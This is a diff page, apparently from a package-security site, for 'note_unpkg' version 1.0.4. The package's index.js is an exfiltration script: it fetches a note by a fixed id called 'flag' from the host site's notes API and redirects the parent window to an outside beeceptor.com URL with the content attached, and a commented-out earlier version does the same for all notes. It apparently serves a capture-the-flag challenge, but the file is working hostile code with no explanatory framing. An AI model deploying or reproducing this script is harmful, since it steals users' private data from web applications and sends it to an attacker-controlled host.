note_unpkg 1.0.3 → 1.0.4
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +9 -12
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,16 +1,13 @@
|
|
1
1
|
async function go() {
|
2
|
-
let notes = await fetch("/api/notes/all", {
|
3
|
-
"method": "GET"
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
// .then(res => res.text())
|
11
|
-
// .then(res => res.content);
|
12
|
-
//});
|
2
|
+
// let notes = await fetch("/api/notes/all", {
|
3
|
+
// "method": "GET"})
|
4
|
+
// .then(res => res.text())
|
5
|
+
// window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + notes
|
6
|
+
const id = "a83ed14e-8c1c-43c3-ad7a-b5393ad85a3d"
|
7
|
+
let flag = await fetch("/api/notes?id=" + id, {
|
8
|
+
"method": "GET"})
|
9
|
+
.then(res => res.text())
|
13
10
|
await new Promise(r => setTimeout(r, 2000));
|
14
|
-
window.parent.location = "https://o4o55555.free.beeceptor.com?q=" +
|
11
|
+
window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + flag
|
15
12
|
};
|
16
13
|
go();
|